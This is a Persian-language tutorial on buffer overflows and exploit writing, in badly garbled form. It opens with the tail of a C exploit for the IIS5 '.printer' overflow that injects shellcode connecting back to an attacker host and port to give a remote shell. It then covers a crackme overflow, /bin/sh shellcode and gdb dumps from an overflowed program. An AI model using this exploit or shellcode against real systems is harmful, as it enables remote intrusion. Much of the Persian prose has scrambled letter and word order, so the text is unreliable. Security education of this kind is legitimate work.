"\xc0\xb0\x90\x03\xd8\x8b\x03\x8b\x40\x60\x33\xdb\xb3\x24\x03\xc3\xff\xe0" 
"\xeb\xb9\x90\x90\x05\x31\x8c\x6a\x0d\x0a\x0d\x0a"; 
int s; 
unsigned short int a_port; 
unsigned long a_host; 
struct hostent *ht; 
struct sockaddr_in sin; 
printf("iis5 remote .printer overflow.\n" 
"dark spyrit <dspyrit@beavuh.org> / beavuh labs.\n"); 
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if (argc != 5){ 
printf("usage: %s <victimHost> <victimPort> <attackerHost> 
<attackerPort>\n",argv[0]); 
exit(1); 
} 
if ((ht = gethostbyname(argv[1])) == 0){ 
herror(argv[1]); 
exit(1); 
} 
sin.sin_port = htons(atoi(argv[2])); 
a_port = htons(atoi(argv[4])); 
a_port^=0x9595; 
sin.sin_family = AF_INET; 
sin.sin_addr = *((struct in_addr *)ht->h_addr); 
if ((ht = gethostbyname(argv[3])) == 0){ 
herror(argv[3]); 
exit(1); 
} 
a_host = *((unsigned long *)ht->h_addr); 
a_host^=0x95959595; 
sploit[441]= (a_port) & 0xff; 
sploit[442]= (a_port >> 8) & 0xff; 
sploit[446]= (a_host) & 0xff; 
sploit[447]= (a_host >> 8) & 0xff; 
sploit[448]= (a_host >> 16) & 0xff; 
sploit[449]= (a_host >> 24) & 0xff; 
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){ 
perror("socket"); 
exit(1); 
} 
printf("\nconnecting... \n"); 
if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){ 
perror("connect"); 
exit(1); 
} 
write(s, sploit, strlen(sploit)); 
sleep (1); 
close (s); 
printf("sent... \nyou may need to send a carriage on your listener if the shell 
doesn't appear.\nhave fun!\n"); 
exit(0); 
} 

د  اه تن این البته است مختلف ایه افزار نرم کرک در بافر ریز سر ایهبرد کار از یکی بودیم گفته مه قبلا که مانطوره ن  مت ه  درای  زمين
 مه  با کنيد استفاده شبکه ایه ندههد سرویس ایه افزار نرم کرک برای توانيد می نيز شما . است موجود ایه روش از یکی بلکه نيست
   .نيست کرک آمزش منظور کنيد توجه بافر ریز سر ومهمف به فقط) پردازیم می دارد قرارSecuritywarrior  سایت در که مثالی به
  
 کردن وارد صورت در نمایيم کرک دراهخوا  می سریال شماره اجرا نگامه به که راweird.exe  نام به کوچک برنامه یک يمهخوا می

ام  برای شود پدیدار Congratulations  پيغام بایستی سریال شماره درست ات  انج تفاده  عملي  reverse engineering ایه ابزار از اس
تفاده  نحوه به مهخوا می فقط و ندارم را افزار نرم کرک آموزش قصد من که کنم اشاره نيز نکته این به بایستی البته است ضرورری  اس

ن  حوزه  در اهکراکر یا اهkey generator  توليد و افزار نرم کرک بحث باشم زده رو مثالی گوناگون مقاصد برای بافر ریز سر از  ای
ا  حال بپردازیم نيز اهآن به دیگر ای مقاله در شاید که داردRCE  مباحث به نياز مطلب اون خود نيست مقاله ه  ومه مف ب ار  ب ری  ک  سر  گي
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ددی  ایه مثال کنيد دریافتsecuritywarrior  ازسایت را weird.exe  برنامه باشد مراهه ما با فوق برنامه کرک در بافر ریز  را متع
ال  این ما که است دسترسی قالب مذبور سایت در RCE زمينه در رای  ر مث ه  شما  ب رار  صه  خلا  طور  ب م  داده ق ه . ای  دریافت  را برنام

رای  کنيم می اجرا و کرده ال  ب ه  مث يم  می  وارد راIOWNU  کلم ه  کن ا  ده د نمی  جواب  برنام انی  ت ه  زم ه  ک ور  کلم  وارد را درست  عب
  زیر تصویر ماننده) نميگرداند بر را جوابی يچه ننمایيم

  

  
 
 مناسب راه دنبال است ترهب پس ندارد ای فایده را این که شد يدهخوا متوجه بزودی ولی نمایيد وارد را دیگر رمز شماره تعداد توانيد می
 آنست وقت الان رسد نمی نظر به جالبی راه مه این ولی باشيد برنامه این برایBruce Force  برنامه نوشتن به قادر شاید بگردید تری
 به را کدی يچه ندارید اجازه شما مثال این در که باشيد داشته توجه فقط ببریم رههب ویندوز معکوس ندسیهم ایه ابزار و ایهمتد از که

م  قصد  بلکه  کنيم کرک را برنامه روش این با يمهخوا نمی ما استRCE  ایه روش از یکی این کنيدpatch مذبور هبرنام د  از داری  مت
 مثال این در کلی طور به . باشيد داشته نياز اسمبلی به قبلی آشنایی به مقدار یک شاید گفتم مه قبلا که مانطوره بگيریم رههب بافر سرریز

  باشيد داشته توجه مطالب این به
 

  X86  اسمبلی زبان زمينه در لازم ربهتج .١
  W32DASM یا IDA  ماننده disassembler یک .٢
  ASCII  ایهکد به hexadecimal کننده تبدیل .٣

  
ایيم  می Disassmble  را Weird.exe  کرک  تست برنامه IDA  برنامه توسط ابتدا د  نم ستقيما  آن از بع ه  م ه  String  پنجره  ب  و رفت
 کنيم می پيدا را ”Congratulation“ رشته

  

 
 
 کنيد توجه زیر شکل به برساند دفه منبع کد به را ما تا کرده کليک دابل نظر مورد رشته روی بر سپس 
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ر ه یک  RCE  بيشتر نداره وجود ميشهه برنامه یک کرک برای سریع و ثابت قانون یک شه  محسوب  ن ا  مي م  یک  ت دون  ثابت  عل  در م
 در ولی باشند توانند نمی لطف از خالی مه تجربيات این البته قبلی تجربيات یا اه ارتهم به تا کرد تکيه باید بيشتر سشان به اوقات اغلب
ارمون  ما خاص مورد این در سته نياز مورد مه شانس مقدار یک مواقع بعضی سمت  از را ک  شروع Congratulations  ای رشته  ق
ا  را دیگری  ایه  راه و نرسيم جواب به مه شاید باشد تواند می شروع نقطه ترینهب  این شاید که خاطر این به فقط کنيم می د  ب  امتحان  ی
  : است زیر صورت به بخش این به مربوطه دفه کد تهرجه به کنيم

 
CODE:00401108 push ebp 
CODE:00401109 mov ebp, esp 
CODE:0040110B add esp, 0FFFFFFB4h ; char 
CODE:0040110E push offset aTheAnalystSWei ; _ _va_args 
CODE:00401113 call _printf ; print some text. 
CODE:00401118 pop ecx 
CODE:00401119 push offset asc_40C097 ; _ _va_args 
CODE:0040111E call _printf ; same 
CODE:00401123 pop ecx 
CODE:00401124 push offset aEnterYourSeria ; _ _va_args 
CODE:00401129 call _printf ; same again 
CODE:0040112E pop ecx 
CODE:0040112F lea eax, [ebp+s] ; buffer 
CODE:00401132 push eax ; s 
CODE:00401133 call _gets ; get entered serial 
CODE:00401138 pop ecx 
CODE:00401139 nop 
CODE:0040113A lea edx, [ebp+s] 
CODE:0040113D push edx ; s 
CODE:0040113E call _strlen ; get its length 
CODE:00401143 pop ecx 
CODE:00401144 mov edx, eax 
CODE:00401146 cmp edx, 19h ; is it less than 25? 
CODE:00401149 jl short loc_401182 ; yes 
CODE:0040114B cmp edx, 78h ; is it more than 120? 
CODE:0040114E jg short loc_401182 ; yes 
CODE:00401150 mov eax, 1 ; eax = 1 , initialize loop 
CODE:00401155 cmp edx, eax ; all chars done? 
CODE:00401157 jl short loc_40115E ; no, let's jump 
CODE:00401159 
CODE:00401159 loc_401159: ; CODE XREF: _main+54j 
CODE:00401159 inc eax ; eax = eax + 1 
CODE:0040115A cmp edx, eax ; all chars done? 
CODE:0040115C jge short loc_401159 ; no, let's loop 
CODE:0040115E 
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CODE:0040115E loc_40115E: ; CODE XREF: _main+4Fj 
CODE:0040115E mov eax, 7A69h ; eax = 31337 
CODE:00401163 test eax, eax 
CODE:00401165 jnz short loc_401182 ; jump quit 
CODE:00401167 cmp eax, 1388h 
CODE:0040116C jl short loc_40118 ; jump quit 
CODE:0040116E cmp eax, 3A98h 
CODE:00401173 jg short loc_401182 ; jump quit 
CODE:00401175 jmp short loc_401182 ; jump quit 
CODE:00401177 ; ------------------------------------------------------------------ 
CODE:00401177 push offset aWooCongrats ; _ _va_args 
; good msg 
CODE:0040117C call _printf 
CODE:00401181 pop ecx 
CODE:00401182 
CODE:00401182 loc_401182: ; CODE XREF: _main+41j 
CODE:00401182 ; _main+46j ... 
CODE:00401182 call _getch ; wait till a key is pressed 
CODE:00401187 xor eax, eax 
CODE:00401189 mov esp, ebp 
CODE:0040118B pop ebp 
CODE:0040118C retn 

  
ه  یک  که شویم می متوجه بالا کد به دقيقتری نگاه با ذبور  سورس  در حق ه هن م ع و در است  فت رای  یه را يچه  اق ام  دریافت  ب  تبریک  پيغ

(Congratulations) دارد  وجود تبریک پيغام به منبعی راه يچه که ميدهف يدهخوا  سریع نگاه با ندارد وجود ا  ن ن  ب  از بعضی  وجود  ای
 طریق از بایستی معما این حل برای که کند می نمایان ما به مسئله این دارد وجود مستقيم طور به برنامه پایان به ن رسيد برای ا هپرش
 می  تعيين ما که را ای سریال شماره که است صورت این به ما حيله کنيم اجرا را تبریک جمله به مربوط کد بافر ریز سر گيری کار به

تفاده  يحیصح  طور به آن از برنامه که ای بافر محدوده به تجاوز با يمهخوا می ما نمایيم وارد برنامه به بافر ریز سر طریق از کنيم  اس
ایيم  تزریق ان به دستی طور به را سریال شماره کند می ا  نم ه  ت ایيم  اجرا  را برنام ور  سریال  شماره  سپس  نم ه  خودش  مزب  راه را برنام

ه  مه گذشته در که مانطوره خوب بيندازد ه  ک ودم  گفت د  ب دار  از بای افر  مق ده  اشغال  فضای  و ب اوریم  بدست  اطلاعاتی  کنن ه  و بي زان  ب  مي
  کنيم مشخص را دقيقش

 
CODE:0040112E pop ecx 
CODE:0040112F lea eax, [ebp+s] ; buffer 
CODE:00401132 push eax ; s 
CODE:00401133 call _gets ; get entered serial 
CODE:00401138 pop ecx 
CODE:00401139 nop 
CODE:0040113A lea edx, [ebp+s] 
CODE:0040113D push edx ; s 

  
ر  کد قطعه در موضوع این کند می انباشته()Get  تابع فراخوانی از قبل را مقادیر بالا کد در exa  مدخل ه  زی شی  صورت  ب شان  نمای  ن
  است شده داده

 
#include <stdio.h> 
#include <string.h> 
#include <conio.h> 
#include <iostream.h> 
int main( ) 
{ 
unsigned char name[50]; 
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gets(name); 
} 

  
زان  و است  شده  مشخص  ”name“ صورت  به بافر کنيد می دههمشا که مانطوره ا  است  بایت  آن مي ابع  از م رای get 50  ت  دریافت  ب

اد  می اتفاقی چه آیا ولی کردیم تعریف کاراکتر 50 درازای به ای رشته به را آن  ما کردیم استفاده ورودی ایه سریال شماره ا  اگر  افت  م
  !؟؟!؟!؟ کردیم می وارد سریال شماره نعنوا به را کاراکتر 100

  
ن  به ابتدا دارد بلندی کاراکتر 75 برنامه بافر بزرگیIDA  ابزار طبق بر. کنيم چک را امان برنامه بافر بزرگی باید اینجا حالا  دسته  ای
  کنيد نگاه اه پارامتر از
 

CODE:00401108 s = byte ptr -4Ch 
CODE:00401108 argc = dword ptr 8 
CODE:00401108 argv = dword ptr 0Ch 
CODE:00401108 envp = dword ptr 10h 
CODE:00401108 arg_11 = dword ptr 19h 

  
د  است کاراکتر 75 نظر مورد بافر مقدار ماکزیمم که بردیم پی راز این به ما خواب ن  بيایي ه  ای ان  نظری ه  روی را ام يم  تست  برنام  و کن
  : کنيم وارد کاراکتر 80 در رزی رشته شبيه دلخواه به رشته یک

 
-- The analyst's weird crackme -- 
--------------------------------- 
enter your serial please: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAaAAAAAAAAAAAAAAAAAAA 

  
ا  که بود کاراکتر 75 بافر فضای ميزان نيست انگيزی بر تعجب چيز هالبت شد crash  دچار برنامه رفت می انتظار که مانطوره  وارد ب

 یک h41 است  جالب خيلی این ببينيد را EBP=41414141h  توانيم می پيغام به توجه با شد پدیدار خطا پيغام بيشتر کاراکتر 5 نمودن
 که حالا تا کنيم می نویسی دوباره را base pointer (EBP) فقط ما براین بنا پس است A آن مقدار که است hexadecimal اسکی کد

د  که داد دهخوا را اجازه این شما به EIP نویسی دوباره يمهد انجام نویسی دوباره EIP روی بر داریم قصد ما ایم رفته پيش خوب   بتواني
ا  دلخواهcrash  این نوزه بله کنيم وارد مه کارکتری 84 رشته یک بگذارید کنيد اجرا اتان برنامه روی بر را کدی نوع ره ر  پ  جاست  ب
   کنيم می دریافت را پيغام این ما و
 

instruction at the address 41414141h uses the memory address at 41414141h.  
memory cannot be read. 

  
 برگشتی آدرس ما اگر افتاد دهخوا تفاقیا چه شما نظر به کند اجرا 41414141h  در را کد کند می تلاش برنامه که ميدیمهف ما این بنابر
 تبریک پيغام ادرس جای به مثال برای نمایيم جایگزین 41414141h  جای به چيزی با
  

CODE:00401177 push offset aWooCongrats 
; _ _va_args ; good boy 
CODE:0040117C call _printf 

  
 تبریک پيغام توانيم می و ایم کرده حل را کرک تست برنامه این ما يمهبد رقرا 401177 در را امان برگشتی آدرس اگر که دانيم می ما
ه  زیر رشته که بينيم می ما کنيم می تست مه را زیر کد رشته آن از قبل وجود این با کنيم دههمشا نمایش صفحه روی بر را  در را برنام

  خورد می ضربه و کند می قفل 34333231 آدرس
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 می دههمشا که مانطوره کنيم اقدام اجرا برای اهان فرستادن به سپس و کرده معکوس را ایمانهکد باید ما که گویند می ما به اه پيغام این
د  برابر ومقادیر شده معکوس صورت به است خورده ضربه برنامه آن در که ادرسی کنيد ه  را شده  وارد اسکی  ایهک  گزا ه صورت  ب

  دهد می نمایش
  
ر  1-2-3-4دسيمال گزاه ایه برابر خودمان مثال به گردیم می بر ند  می  31-32-33-34 براب ایيم  معکوس  را 1-2-3-4 اگر  باش -4 نم

 که دانيم می توضيح این به توجه با و 34-33-32-31 دریافت تهج 31-3-2-33-34 گردان بر با کند می برابری مطلب این و 3-2-1
رای  این بنابر باشد می 34333231 ما crash آدرس سپلویت  ب ن ا اک ه  ی ا  برنام ين ه م رده  معکوس  را حافظه  آدرس مچن را  سپس  و ک  ان
ا  خواب  يمه د قرار مربوطه ردیف در را 771140 باید ما 401177 اجرای برای دیگر بيان به نمایيم تزریق وق  بحث  ب د  می  ف ه  داني  ک

   کنيم می امتحان برنامه در را زیر عددی کد رشته حال  @w^Q (Q=Ctrl+Q^) با است برابر اسکی ایه کد در 771140 برگردان
 

-- The analyst's weird crackme -- 
--------------------------------- 
enter your serial please: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA w^Q@ 

  

  
  
افر  ومهمف به توانستيد که الح شود می مشخض تبریک پيغام برگشت دکمه فشردن با ال  در ب وق  مث ی  ف د  پ ه  ببری د  ب ه  ک ه  ای برنام  در ک

  کنيد توجه شد رفته کار به بال مثال
 

#include <stdio.h> 
#include <string.h> 
#include <conio.h> 
#include <iostream.h> 
int main( ){ 
int i,len,temp; 
unsigned char name[75]; 
unsigned long check=0; 
printf("-- The analyst's weird crackme --\n"); 
printf("---------------------------------\n"); 
printf("enter your serial please:\n"); 
gets(name); 
asm{ nop}; 
len=strlen(name); 
//cout << len; 
if (len < 25) goto theend; 
if (len > 120 ) goto theend; 
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for (i=1; i <= len ; i++) 
{ 
temp += name[i] ; 
} 
if (temp = 31337) goto theend; 
if (temp < 5000) goto theend; 
if (temp > 15000) goto theend; 
goto theend; 
printf("wOO! congrats ;)\n"); 
theend: 
getch( ); 
return 0; 

  
ز  سر  و بافر ومهمف با اميدوارم خوب افر  ری ا  ب نا  ااینج  ت يد  شدی  اش وع  متوجه  اگر  باش شدید   ن دارد  اشکالی  مه  کرک ن ط  ن  من  قصد  فق

 می توانيد مثلا ومهمف این درک با خواب بشود مشخص شما برای ای برنامه ره را درعمليات بافر ميتها که بود این مثال این ازآوردن
د  می  بلکه ببرید حمله exe برنامه خود به نيست لازم مه حتما بورزید مبادرت اکسپلویت یک ساختن به ی  دیگر  تواني ه  را اجزای  یک  ک

ز  را سر  کند می استفاده آن از اجرایی برنامه افر  ری د  ب د ه) کني رم  مانن انطور ه : ساسر  ک ه  مه  م شا  ک رده  دههم د  ک رم  بودی ه    ک  ساسر ب
lsass.exeز  سر طریق از بلکه کرد نمی مستقيم حمله افر  ری د  ب ل  چن ع  فای ه  تواب را  اdll ای  کتابخان ه   از ن ورد lsasrv.dll جمل ه  م  حمل

د  می  کار ازlsass سيستم  کل کردید دههمشا که مانطوره جز این خوردن ضربه با داد می قرار ا  ( افت ه  توجه  ب ن  ب ه  ای ن  نکت شه ه ای  مي
ا  است بوده مایکروسافت محصولات نقاط بودن پذیر آسيب از یکی ه  توجه  ب ن  ب ه  ای ه  ک ی در  طور  ب اف  محصولات  کل ه  تمایکروس  تکي

ن  به توجه با شود می دههمشا پيکره این در متعددی ایه آسيب پذیری ميشهه دارد وجود ای کتابخانه توابع این بر زیادی ا  موضوع  ای  ت
ه  باشد می محتمل اهپذیری  آسيب این کشف ميشهه نکنند رفع را اشکالات این شرکت این امنيتی که مسولان وقتی ه  البت  در اییه  زمزم
ه  زمينه این  درlonghorn ویندوز جمله من دور چندان نه آینده ای در شده ارائه محصولات ردنک امن زمينه ی  رسد  می  گوش  ب ا  ول  ب
اگ  و شدن تر امن نظر از مقداری شاید دارد دراز سر داستان این من خود نظر به وجود این دد  ایه  رفع ب ن  متع ع  ای  اییه  فعاليت  تواب

د  می  بر گام جلوتر قدم ميشه یکه اه کره -تجربه طبق بر ولی گيرد صورت اید  دارن ا  ش ه  ت ان  از حال  ب يده  خودت يد  پرس ن  چرا  باش  ای
ين ه و اه  کر ه توجه  که باشد درست حرف این شاید خورد می چشم به کمتر لينوکس مچونه محصولاتی در اه پذیری اسيب گونه  مچن

ه  کردیم می فرض مه راگ ولی باشد لينوکس از بيشتر ویندوز محصولات به کنندگان استفاده داد  ک اربران  تع وکس  ک ا  لين دوز  ب ر  وین  براب
د  تر پذیر اسيب مایکروسافت محصولات باز بود مقدار یک به نيز فرم پلت دو ره روی بر اه کره تحقيقات ميزان و بود  ؟ چرا  - بودن

ا  شما  خود  را سوال  این جواب ه  توجه  ب ه  انچه  ب ن  در ک ه  ای د  مقال د  می  خواندی ر  – داني سپلویت  اکث ر  نوشته  ایه  اک  محصولات  روی ب
د  می حمله سيستمی اجزای به و مستقيم غير شکل به مایکروسافت ادر  از را کوچک  اجزای  و کنن د  می  پ ا  از آورن ه  آنج سمت  ک  ایه  ق

ه  برای اجزا این به مبرمی نياز کنندو می کار ا هdll مثل اجزا این گيری کار به با مه ویندوز بدنه اصلی د  فعاليت  ادام ه  دارن  سرعت  ب
ادی  زمان تا ویندوز ایه پذیری اسيب داستان گفتيم که مانطوره – خورند می ضربه ه  زی ستم  پيکره  کلا  اینکه  مگر  دارد ادام  ایه  سي
 محصولاتشان کردن امن زحمت به را خودشان درآمد مهه این با چرا – است بعيد نجومی آمد در این با مه این که– شود عوض ویندوز
  – بيندازند

 
  اعماق به سفری

 
دورام  ه  امي ا  ک ه  اینجای  ت ا  مقال ا  ب ه  يمهمف سپلویت  اولي سی  اک نا  نوی يد  شده  آش ه  در باش شتر  ادام ه  بي اق  ب ای  اعم ی  دني م  می  زیرزمين  روی

 است ازني مورد اسمبلی و++C  دوزبان با کامل آشنایی لزوم مقاله این در شده گفته مطالب درک برای گفتم مقاله ابتدای در که مانطوره
ات  سری  ویک آن طراحی و نویسی اکسپلویت زمينه در تری عميق مطالب با شما قسمت این در. ی  جزیي نا  فن ن  شوید  می  آش سمت  ای  ق

يد  داشته  فرا و خوانده را زیادی مطالب شاید shell Coding زمينه در. پرداخت دهخوا Shell Coding مبحث به بيشتر ی  باش ن  ول  ای
رای  خصوص به قسمت این کند می نگاه مبحث این به تر تمایزم بعدی از مقاله از بخش سانی  ب ه  ک ن  در ک ه  ای د  جدی  فعاليت  زمين  دارن
الات  دست این از ایشانه آموخته به توجه با ندارند اکسپلویت زمينه در چندانی تجربه که مه دوستانی. شود می ادهپيشن ا  و مق داری  ب  مق

ده  ایه  قسمت به زمينه این ر خود علمی پایه کردن قوی از بعد پيداکنند دست رتاهم این به توانست ندهخوا ممارست و تمرین ر  پيچي  ت
 در ولی داشت يدهنخوا مباحث این از دلزدگی جز ای نتيجه نمایيد شروع دست این از پيجيده مسائل از ابتدا در که صورتی در بپردازید
  .شد دهخوا آسان شما برای تهج ره از را این تر پيچيده مراحل به تر ساده مراحل از رسيدن و پله حرکت صورت

  
افی  تجربه بایستی خوانندگان است شده ارائه باز منبع ایه سيستم در مقاله از بخش این رای  ک اربری  ب ن  در ک ستم  ای ه  را اه  عامل  سي  ب

  .BFreeBSD مثل باشند گرفته فرا نياز پيش صورت
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يده  خودتان از حال به تا آیا نمایيد می هدهمشا اینصورت به را اییهکد اه اکسپلویت اغلب در د  پرس ه  ای ه  اه این ک ه  و منظور  چه  ب  چگون
  برد يدهخوا پی يمهمفا این به مقاله از بخش این ادامه در شوند می ایجاد

 
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6" 
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7" 
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6" 
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0" 
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1" 
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2" 
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95" 
"\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95" 
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6" 
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0" 
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb" 
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb" 
"\xf0\xed\xf0\x95\x0d\x0a\x48\x6f\x73\x74\x3a\x20\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

  
  اسمبلی ایهکد پردازش

 
 با شده ارائه اسمبلی ایهکد قسمت این در مهد می ترجيح اه کامپایلر دیگر از بيشتر روnasm  اسمبلی ایهکد شپرداز برای بيشتر من

   کنيم می استفاده زیر دستور nasm  از استفاده با اسمبلی ایه کد کامپایل برای اند شده ارائهnasm  دستورات
 

nasm -o prog prog.S 
  
را  ما که باشد می ما باینری اطلاعات حاویprog  فایل فرمان این اجرای از بعد ه  ان ه  shellcode ب ود  يمهخوا  ترجم ن  در نم  لحظه  ای
د  شما کنيد اجرا فرمان سطر در را اطلاعات این توانيد نمی شما زار  یک  از بای انبی  اب ه  ج ه  ک ود  يمهخوا  اشاره  آن ب ستی  نم تفاده  بای  اس
  کنيد عمل زیر صورت به ابزار این از استفاده برای نمایيد

 
gcc -o s-proc s-proc.c 
bash-2.04$ ./s-proc -e prog 
Calling code ... 
sh-2.04$ exit 
bash-2.04$ ./s-proc -p prog 
char shellcode[] = 
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" 
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" 
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41" 
"\x42\x42\x42\x42"; 
bash-2.04$ 

  
  حافظه

 
Shellcodeاربردی  ای برنامه در نفوذ  منظور به باشند می ای یافته توسعه دستورات ليست صورت به معمولا ا ه  حالت  در اجرای  ک

ه  باشيد داشته توجه باید اجرا ه برنا ک انی  م د  قرب ه  بای وده runtime  حالت  ب ق  باشد  ب ه  در ا ه Shellcode تزری اربردی  ایه  برنام  و ک
 می buffer overflow پرداختيم آن به قبلی بخش در که معروف ایه راه مانه از یکی گيرد می صورت متعددی ایه راه از سيستمی
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ه  shellcode  یک  اینکه  توضيح برای باشد ن  از چگون د  ای رد  یم  رهه ب مت ه  من  گي ه  یک  شما  ب اده  نمون  را buffer overflow از س
   باشد می C  شده استفاده زبان) مهد می نمایش

 
 ( 
void main(int argc, char **argv, char **envp) { 
char array[200]; 
strcpy(array,argv[1]); 
} 
If we compile this (gcc -o overflow overflow.c) and execute it with a 
very 
large string of characters we can overwrite memory: 
On linux: 
[root@droopy done]# ./overflow `perl -e 'print "A" x 220'`BBBB 
Segmentation fault (core dumped) 
[root@droopy done]# 
On FreeBSD: 
[root@freebsd done]# ./overflow `perl -e 'print "A" x 204'`BBBB 
Segmentation fault (core dumped) 
[root@freebsd done]# 

  
ه  B 4 و  220A با را حافظه از ميزانی ما فوق برنامه در که رسد می نظر به ؟ نميرسد بنظر پپيشرفته زیاد shellcode  این خواب  ک

 نتيجه  است کرده تجاوز حافظه بستر به آرگومان ینا – اجرا حالت در آرگومان صورت به ایم نموده انحدام شده اجرا حال در برنامه به
ا  شما شود overwrite  لایه این پشت شده ذخيره اطلاعات است شده این عمل این تفاده  ب اليز  وgdb(the GNU Debugger) از اس  ان

 در باشد تواند می ترسناک و آور رههدل اغلب gdb  توسط خروجی ایه داده است افتاده اتفاقی چه که ميدهبف توانيد می فایل پرش مرکز
د  دریافت  را coredump شما  اگر  باشد  داشته  ترسی یا خطری تواند نمی عزیر خوانندگان برای ولی -اول وحله شتر  را A   ننمودی  بي
 99999 ( ulimit –c 99999)مثال طور به راulimit  نشد اگر و کنيد تلاش

 
 [root@droopy done]# gdb -core=core 
GNU gdb 5.0 
Copyright 2000 Free Software Foundation, Inc. 
GDB is free software, covered by the GNU General Public License, and 
you are 
welcome to change it and/or distribute copies of it under certain 
conditions. 
Type "show copying" to see the conditions. 
There is absolutely no warranty for GDB. Type "show warranty" for 
details. 
This GDB was configured as "i386-redhat-linux". 
Core was generated by `./overflow 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. 
Program terminated with signal 11, Segmentation fault. 
#0 0x42424242 in ?? () 
(gdb) info all 
eax 0xbffff990 -1073743472 
ecx 0xfffffdc3 -573 
edx 0xbffffcad -1073742675 
ebx 0x4013b824 1075034148 
esp 0xbffffa70 0xbffffa70 
ebp 0x41414141 0x41414141  
esi 0xbffffad4 -1073743148 
edi 0x0 0 
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eip 0x42424242 0x42424242  
eflags 0x10286 66182 
cs 0x23 35 
ss 0x2b 43 
ds 0x2b 43 
es 0x2b 43 
fs 0x2b 43 
gs 0x2b 43 
st0 0 (raw 0x00000000000000000000) 
st1 0 (raw 0x00000000000000000000) 
st2 0 (raw 0x00000000000000000000) 
st3 0 (raw 0x00000000000000000000) 
st4 0 (raw 0x00000000000000000000) 
st5 0 (raw 0x00000000000000000000) 
st6 0 (raw 0x00000000000000000000) 
st7 0 (raw 0x00000000000000000000) 
fctrl 0x0 0 
fstat 0x0 0 
ftag 0x0 0 
fiseg 0x0 0 
fioff 0x0 0 
foseg 0x0 0 
fooff 0x0 0 
fop 0x0 0 

  
ز  سر  زمان در شده ثبت فتهر بين از اطلاعات محتویات تمامی توانيم می ما gdb از استفاده با شا  ری يم  دههم ان  دو من  کن سيار  ارگوم  ب
ی  32 ایه  شده   ثبتEIP  وEBP نمودم  و ثبت کرده ایجاد ای دليرانه صورت به را مهم ا  بيت ان ه ی ایتی  4 م ه  ستنده  ب  اخر  بایت  8 ک

 را اند شده داده نشان تری ضخيم صورت به که  راEIP و EBP خطوط شما  بالاGDP خروجی  در کنند می داری نگه مارا ارگومان
سيار  خطوط اهاین نمایيد می دههمشا ه  ستنده می  هم ب وانم  می  ک ه  ت ایم  اشاره  اه آن ب ه  نم ن  ک ا  است  شده overwrite حافظه   خطوط  ای  ب

ه  اطلاعاتی  رل  ک ودیم  کنت انطور ه نم ه  م شا  ک د  می  دههم دار  EBP فرمایي دار   یک 0x41414141 مق رای  است  گزادسيمال ه مق  ب
  0x42424242مقدار با EIP  ثابت مچنينه ميباشد AAAA حاوی EBP که است معنی این به A که است داشته نگه را 41ترکاراک

B 
تفاده  با مچنينه شما. نماید می داری نگه راBBBB  مقدار EIP 42  که است معنا آن به این و داده نمایش را مقدار گزادسيماله در  اس

ن  در نمایيد بررسی توانيد می ار حافظه بيشتر gdb در x ازفرمان ورد  ای ا  م وانيم  می  م افر  ت ا  را حافظه  ب تفاده  ب ان  از اس  x/ 150'فرم
xbffffa70 که xbffffa 070 ثابت توسط  EIP 0 شود می شناسایی 

  
  

(gdb) x/150 $esp 
0xbffffa70: 0x00000000 0xbffffad4 0xbffffae0 0x0804830e 
0xbffffa80: 0x080482e4 0x4013b824 0xbffffaa8 0x40037b4c 
0xbffffa90: 0x00000000 0xbffffae0 0x4013a358 0x40016638 
0xbffffaa0: 0x00000002 0x08048380 0x00000000 0x080483a1 
0xbffffab0: 0x0804845c 0x00000002 0xbffffad4 0x080482e4 
0xbffffac0: 0x080484cc 0x4000df24 0xbffffacc 0x40016c0c 
